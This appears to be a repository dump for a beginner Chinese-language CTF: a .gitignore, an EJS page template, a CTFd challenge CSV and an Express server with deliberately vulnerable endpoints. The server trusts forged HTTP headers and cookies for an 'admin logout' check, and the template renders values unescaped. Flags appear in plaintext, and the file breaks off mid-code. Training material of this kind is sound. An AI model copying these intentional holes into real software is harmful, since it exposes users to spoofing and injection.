Yarn Integrity file 74 | .yarn-integrity 75 | 76 | # dotenv environment variable files 77 | .env 78 | .env.development.local 79 | .env.test.local 80 | .env.production.local 81 | .env.local 82 | 83 | # parcel-bundler cache (https://parceljs.org/) 84 | .cache 85 | .parcel-cache 86 | 87 | # Next.js build output 88 | .next 89 | out 90 | 91 | # Nuxt.js build / generate output 92 | .nuxt 93 | dist 94 | 95 | # Gatsby files 96 | .cache/ 97 | # Comment in the public line in if your project uses Gatsby and not Next.js 98 | # https://nextjs.org/blog/next-9-1#public-directory-support 99 | # public 100 | 101 | # vuepress build output 102 | .vuepress/dist 103 | 104 | # vuepress v2.x temp and cache directory 105 | .temp 106 | .cache 107 | 108 | # Serverless directories 109 | .serverless/ 110 | 111 | # FuseBox cache 112 | .fusebox/ 113 | 114 | # DynamoDB Local files 115 | .dynamodb/ 116 | 117 | # TernJS port file 118 | .tern-port 119 | 120 | # Stores VSCode versions used for testing VSCode extensions 121 | .vscode-test 122 | 123 | # yarn v2 124 | .yarn/cache 125 | .yarn/unplugged 126 | .yarn/build-state.yml 127 | .yarn/install-state.gz 128 | .pnp.* 129 | 130 | # database 131 | */mysql/ 132 | mysql/ 133 | 134 | # redis 135 | dump.rdb 136 | 137 | # CTFd 138 | .ctfd/ 139 | -------------------------------------------------------------------------------- /basic/views/basic.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | <%- title %> - 窩不資到 CTF 8 | 9 | 10 | 11 | 12 | 14 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 40 | 41 |
42 |
43 |
44 |
45 |
46 |

<%- title %>

47 | 窩不資到 CTF 48 |
49 |
50 |
51 |
52 |
53 | 54 |
55 |
56 |
57 | <%- message %> 58 |
















59 |
60 |
61 |
62 | 63 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | -------------------------------------------------------------------------------- /窩不資道CTF-challenges.csv: -------------------------------------------------------------------------------- 1 | id,name,description,connection_info,max_attempts,value,category,type,state,requirements 2 | 1,CTF 比賽想不到解法時在做什麼？MOBA 又輸了？可以來右鍵嗎？,"[點我（不是對我右鍵）](javascript:window.location='http://'+window.location.hostname+'/1';) 3 | ![271539422_1001554750770714_5248433501003025761_n.png](/files/59635fae9a49936e95db1d3c3dc6112f/271539422_1001554750770714_5248433501003025761_n.png) 4 | ",,0,100,Web,standard,visible, 5 | 2,右鍵神域,"![](https://c.tenor.com/bdHJxqM8kLoAAAAC/sao-kirito.gif) 6 |
7 | [點我](javascript:window.location='http://'+window.location.hostname+'/2';)",,0,100,Web,standard,visible, 8 | 3,NO HASH NO LIFE 雜湊人生,"[點我](javascript:window.location='http://'+window.location.hostname+'/md5';) 9 |
10 | ![](https://4.bp.blogspot.com/-BA5F-iVGYqU/WXAc2lvsAjI/AAAAAAAAXBY/r9PByPxLSnsc6qJRR3wm0BCq5NX_iyObwCKgBGAs/s1600/what-if-i-told-you-what-if-i-told-you-there-are-new-cryptographic-hash-functions-since-1995.jpg)",,0,150,Crypto,standard,visible, 11 | 4,咖啡與茶壺共舞,80 PORT 上的伺服器似乎支援 HTCPCP？,,0,100,Misc,standard,visible, 12 | 5,在 Github 尋求解答是否搞錯了什麼？,記得加星星,,0,100,Misc,standard,visible, 13 | 6,別把驗證系統寫在前端!," 14 | 15 | [Boing Boing!!!](javascript:window.location='http://'+window.location.hostname+'/4';) 16 |
17 | ![fte.jpg](/files/175a612bf2782e21af79a5c7e2f14d0a/fte.jpg)",,0,110,Web,standard,visible, 18 | 7,フブキ的加密題," 19 | 20 | 共有4種加密方式 21 | 按下Click Me 檢查並獲得題目喔 22 | [這邊](javascript:window.location='http://'+window.location.hostname+'/crypto';)",,0,200,Crypto,standard,visible, 23 | 8,你能把我登出嗎?,"Try to logout me 24 | [Elite logout system](javascript:window.location='http://'+window.location.hostname+'/admin/logout';)",,0,200,Web,standard,visible, 25 | 9,MoOMoO," 26 | [點我](javascript:window.location='http://'+window.location.hostname+':23456/';) 27 | 28 | 拿到 FLAG 就好，請不要進一步攻擊或是干擾其他人解題。
29 | 玩 fortune 沒差啦 :P",,0,110,Web,standard,visible, 30 | 10,喵喵喵喵,"維吉尼亞密碼是凱薩加密的一種改良版，其特點是在於可以用一串單字來進行加/解密

31 | 32 | 在教學組細心的安排下總召的貓終於精通了什麼什麼64的編碼，而喵喵為了讓字串更加安全，選擇先用維吉尼亞來進行加密後再進行編碼，你能通靈出貓的語言並成功解密嗎",,0,100,Crypto,standard,visible, 33 | 11,這你要我拼我還真不敢,"#### 出事了阿伯，誰把FLAG拆成這樣啊! 34 | 35 | 36 |
37 | 38 | ![1624507668143.jpg](/files/d4cdd34e7eadf312cffce4ae6fabdf21/1624507668143.jpg) 39 | 40 |
41 | 42 | [這題太耗費時間惹](javascript:window.location='http://'+window.location.hostname+'/5';) 43 | 44 | ",,0,200,Web,standard,visible, 45 | 12,E4sy_Snake,"![552022-01-23_211208.png](/files/d6e5171e9cb38154e3fc74e4fc751fb8/552022-01-23_211208.png) 46 |
47 | 宸宸是一個python新手，為了讓別人看不出他的程式碼，他把python拿去編譯(compile)了
48 | 你能找出密碼在哪裡嗎?
49 | > python e4sy_snake_compiled.pyc",,0,100,Reverse,standard,visible, 50 | 13,Happy Metaverse Year,"宸宸幻想自己能夠和kirito一樣可以Link!
51 | 你可以幫助他登入嗎?
52 | [點我開始連結](javascript:window.location='http://'+window.location.hostname+':8003';) 53 | 54 | > Very Baby SQLi 55 |
56 | > Credit : splitline",,0,150,Web,standard,visible, 57 | 14,電腦到底要怎麼知道我輸入了些啥?,"宸宸有天拿到總召大人設計的一把神秘鍵盤，這個鍵盤的輸出特別奇怪
58 | 按下a的時候電腦卻輸出97
59 | 按下D輸出68
60 | 按下數字鍵8輸出56
61 | 宸宸就用了這把鍵盤把FLAG打出來了，你能解的出來嗎?
62 | ``` 63 | [101, 108, 101, 67, 84, 70, 123, 65, 83, 67, 73, 73, 95, 112, 114, 49, 110, 116, 52, 98, 108, 51, 125] 64 | ``` 65 | 66 | ![e-ascii-table-and-description-dec-hx-oct-html-chr-63132326.png](/files/2550002731aab33cafcd612d1467de85/e-ascii-table-and-description-dec-hx-oct-html-chr-63132326.png) 67 | ",,0,100,Crypto,standard,visible, 68 | 16,gogoro抽獎系統,"知名實況主t⭕yz自行寫了一個抽獎系統，無奈先前在監獄被關太久，資安概念幾乎忘光，似乎輸入某組特定的帳號密碼方能成功抽中gogoro...
69 | [抽獎活動連結](http://10.213.0.11:420) 70 | ",,0,110,Web,standard,visible, 71 | 17,Even bots won't help you...,"![uag8piwil8k51.png](/files/5862ebd54a3aa924d71e485a07519d82/uag8piwil8k51.png) 72 | [這邊](https://dojo.tcirc.tw)",,0,100,Web,standard,visible, 73 | 19,誰攻擊了我家伺服器(數位鑑識),"宸宸開設的遊戲伺服器被莫名人士攻擊了，你能幫忙找出IP來源嗎?
74 | 請使用 Wireshark 封包分析軟體打開檔案喔~
75 | > FLAG格式 eleCTF{你找到的IP}
76 | 77 | ![ipinject.jpg](/files/7bc6838b7db57ffaa1d31551f7e3a745/ipinject.jpg)",,0,150,Misc,standard,visible, 78 | 20,寒訓有抽特斯拉嗎,"就說！沒有！要抽！特斯拉！！！！！！！！！！！
79 | [特斯拉抽獎連結](http://10.213.0.11:748/) 80 | ![](https://www.tesla.com/ownersmanual/images/GUID-BEE67A59-6DD7-460C-9C49-0DD47E707A02-online-en-US.jpg)",,0,110,Web,standard,hidden, 81 | 21,寒訓有抽特斯拉嗎,"就說！沒有！要抽！特斯拉！！！！！！！！！！！
82 | [特斯拉抽獎連結](http://10.213.0.11:748/) 83 | ![](https://www.tesla.com/ownersmanual/images/GUID-BEE67A59-6DD7-460C-9C49-0DD47E707A02-online-en-US.jpg)",,0,110,Web,standard,visible, 84 | -------------------------------------------------------------------------------- /basic/app.mjs: -------------------------------------------------------------------------------- 1 | /* eslint-disable max-len */ 2 | const PORT = 80; 3 | 4 | import cookieParser from 'cookie-parser'; 5 | import express from 'express'; 6 | import http from 'http'; 7 | import bodyParser from 'body-parser'; 8 | import formidable from 'formidable'; 9 | import md5File from 'md5-file'; 10 | import {sha1File} from 'sha1-file'; 11 | 12 | 13 | const app = express(); 14 | http.createServer(app); 15 | app.set('view engine', 'ejs'); 16 | app.use(cookieParser()); 17 | app.use(bodyParser.urlencoded({extended: false, limit: '4mb'})); 18 | app.use('/static', express.static('public')); 19 | 20 | app.get('/', (req, res) => { 21 | res.render('basic', {title: '首頁', script: '', message: 'abc'}); 22 | }); 23 | 24 | app.get('/1', (req, res) => { 25 | res.render('basic', {title: '第一題', script: '', message: 'hmmm where is the flag?
'}); 26 | }); 27 | 28 | app.get('/2', (req, res) => { 29 | res.render('basic', {title: '第二題', script: 'document.addEventListener(\'contextmenu\', event => {event.preventDefault();alert(\'No U little hacker\')});', message: 'no rightclick please
'}); 30 | }); 31 | 32 | app.get('/3', (req, res) => { 33 | app.render('basic', {title: 'Find in files', script: ''}); 38 | }); 39 | 40 | app.get('/5', (req, res)=>{ 41 | res.render('basic', {title: 'Harder asic expoit', script: '', message: '
'}); 42 | }); 43 | 44 | app.get('/admin/logout', (req, res) => { 45 | console.log(req.headers.host); 46 | if (req.headers.referer == req.headers.host + '/admin') { 47 | if (req.cookies.user == 'admin') { 48 | const reqDate = new Date(req.headers.date); 49 | const lowDate = new Date('2077 1 0:00 Jan GMT'); 50 | const upDate = new Date('2077 31 23:59 Dec GMT'); 51 | if (lowDate <= reqDate && upDate >= reqDate) { 52 | if (req.headers['user-agent'].toString().match(/curl/gi)) { 53 | if (req.headers['accept-language'].toString().match(/jp/gi)) { 54 | res.render('basic', {title: 'HTTP Header', script: '', message: 'You have been successful logged out!
eleCTF{FINALLY_LOGOUT_STUPID_SYSTEM}'}); 55 | } else { 56 | res.render('basic', {title: 'HTTP Header', script: '', message: 'あなたは誰'}); 57 | } 58 | } else { 59 | res.render('basic', {title: 'HTTP Header', script: '', message: 'The site owner can access this site with command line tool.'}); 60 | } 61 | } else { 62 | res.render('basic', {title: 'HTTP Header', script: '', message: 'Wake up! It\'s already 2077!'}); 63 | } 64 | } else { 65 | console.log(req.cookies); 66 | res.cookie('user', '', {path: '/admin', maxAge: 600000}); 67 | res.render('basic', {title: 'HTTP Header', script: '', message: 'Where\'s your user cookie, admin?'}); 68 | } 69 | } else { 70 | res.render('basic', {title: 'HTTP Header', script: '', message: 'No U. You are not from the /admin page.'}); 71 | } 72 | }); 73 | 74 | app.get('/admin', (req, res)=>{ 75 | res.redirect('/'); 76 | }); 77 | 78 | app.get('/crypto', (req, res)=>{ 79 | res.render('basic', {title: 'Crypto', script: '